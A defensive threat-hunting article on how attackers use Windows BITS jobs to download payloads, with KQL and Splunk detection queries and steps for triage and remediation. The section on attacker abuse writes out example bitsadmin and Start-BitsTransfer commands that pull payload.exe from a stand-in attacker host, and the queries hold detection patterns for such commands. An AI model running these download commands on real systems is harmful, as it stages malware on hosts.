>
av.Amit VijayanCYBERSECURITY & RESEARCHLet\u2019s connect
Back to the library

Threat Hunting Playbooks

Hunting BITS Jobs: Background Downloads That Hide in Plain Sight

Thumbnail for: Hunting BITS Jobs: Background Downloads That Hide in Plain Sight

Why this matters now

Background Intelligent Transfer Service (BITS) is one of Windows' most trusted workhorses. It is the service Windows Update itself uses to download patches: it transfers files in the background, throttles itself politely, resumes after interruptions, and — critically — its jobs survive reboots. Attackers worked this out years ago. A single bitsadmin /transfer command or a one-line Start-BitsTransfer call pulls a payload down through a signed Microsoft binary, over a channel that most egress monitoring treats as benign operating-system noise. MITRE tracks this as T1197 — BITS Jobs, and it shows up in everything from commodity downloaders to APT staging chains. If you are not hunting BITS, you have a blind spot shaped exactly like a downloader.

How attackers abuse BITS

The pattern is almost always the same. Initial access — a malicious document macro, a scripted installer, a compromised remote session — drops a stager whose only job is to call BITS. The classic tool is bitsadmin.exe, the built-in command-line client: bitsadmin /transfer myjob /download /priority normal https://attacker.example/payload.exe C:\Users\Public\payload.exe. The PowerShell-native equivalent is Start-BitsTransfer -Source https://attacker.example/payload.exe -Destination C:\Users\Public\payload.exe. Either way, the download is performed by the BITS service (running as SYSTEM via svchost), not by the attacker's process — so process-level network telemetry attributes the connection to Windows itself. Jobs persist in the BITS queue and resume after reboot, which makes them a lightweight persistence-adjacent mechanism too: the payload finishes downloading even if the stager is killed. The tell is rarely the binary — it is the command line, the parent process, and the destination URL.

The KQL hunts

All queries target Microsoft Defender's DeviceProcessEvents table. Tune the lookback to your retention.

Hunt 1 — Every bitsadmin execution, with full command lines

Baseline first: in most estates bitsadmin.exe should almost never run. Any execution is worth a look.

DeviceProcessEvents
| where TimeGenerated > ago(30d)
| where FileName =~ "bitsadmin.exe"
| project TimeGenerated, DeviceName, AccountName, FileName,
          ProcessCommandLine, InitiatingProcessFileName,
          InitiatingProcessCommandLine, InitiatingProcessAccountName
| order by TimeGenerated desc

Hunt 2 — BITS transfers pointing at external URLs

This is the money query: bitsadmin invocations that reference remote URLs or the transfer verbs attackers use.

DeviceProcessEvents
| where TimeGenerated > ago(30d)
| where ProcessCommandLine has "bitsadmin"
| where ProcessCommandLine has_any ("http://", "https://", "/transfer", "/addfile", "/setnotifycmdline")
| extend Url = extract(@"https?://[^\s""']+", 0, ProcessCommandLine)
| summarize FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated),
            Executions = count()
    by DeviceName, AccountName, Url, InitiatingProcessFileName
| order by Executions desc

Hunt 3 — PowerShell Start-BitsTransfer

The quieter variant. No bitsadmin.exe on disk activity at all — just a PowerShell one-liner.

DeviceProcessEvents
| where TimeGenerated > ago(30d)
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine has "Start-BitsTransfer"
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine
| order by TimeGenerated desc

Hunt 4 — BITS jobs spawned by unusual parents

Legitimate BITS usage is typically driven by updaters and management agents. A bitsadmin child of Word, Excel, a browser, or a script host is a different story.

DeviceProcessEvents
| where TimeGenerated > ago(30d)
| where FileName =~ "bitsadmin.exe"
| where InitiatingProcessFileName !in~ ("svchost.exe", "services.exe", "tiworker.exe",
      "usoclient.exe", "wuauclt.exe", "msiexec.exe")
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine
| order by TimeGenerated desc

Splunk equivalents

SPL 1 — Sysmon EventCode 1: bitsadmin process creation

index=windows EventCode=1 (Image="*bitsadmin.exe")
| stats count, min(_time) as first_seen, max(_time) as last_seen,
        values(CommandLine) as cmdlines
        by host, User, ParentImage
| sort - count

SPL 2 — Start-BitsTransfer and URL-bearing BITS commands

index=windows EventCode=1
    ((Image="*powershell.exe" OR Image="*pwsh.exe") CommandLine="*Start-BitsTransfer*")
    OR (Image="*bitsadmin.exe" (CommandLine="*http*" OR CommandLine="*/transfer*"))
| table _time, host, User, Image, CommandLine, ParentImage
| sort - _time

Where available, also collect the Microsoft-Windows-BITS-Client/Operational channel: job-creation and transfer-completion events there give you the job owner and the full remote/local file pair without parsing command lines.

Triage: what to do when a hunt hits

First, list the live BITS queue on the host: bitsadmin /list /allusers /verbose shows every job, its owner, state, and the files it is moving. Match the job owner against the account in your hunt hit — a job owned by a user account but created from a script host is a red flag. Second, resolve the URL: check the domain's age, reputation, and whether it appears in proxy logs from other hosts. Third, find what the job already delivered: correlate DeviceFileEvents (or Sysmon EventCode 11) for files written to the destination path around the job's start time, then hash and detonate anything you find. Fourth, look for the stager: what created the job in the first place — walk the process tree back from the bitsadmin or PowerShell parent to the initial access vector. Finally, check whether the job already completed: a finished transfer followed by a new process spawning from the destination path means you are no longer hunting a downloader, you are hunting an infection.

Remediation and hardening

Cancel rogue jobs with bitsadmin /cancel (or reset the whole queue with bitsadmin /reset /allusers on a confirmed-compromised host), quarantine the downloaded payloads, and re-image if a completed transfer executed. Rotate credentials for any account the job ran under. Longer term: alert on bitsadmin.exe execution outside your patching and management tooling, log the BITS-Client operational channel centrally, and consider AppLocker or WDAC rules that keep script hosts and Office applications from launching bitsadmin.exe at all. BITS is infrastructure — treat its abuse like any other living-off-the-land technique: allowlist the legitimate uses, alert on everything else.

Keep exploring.

All articles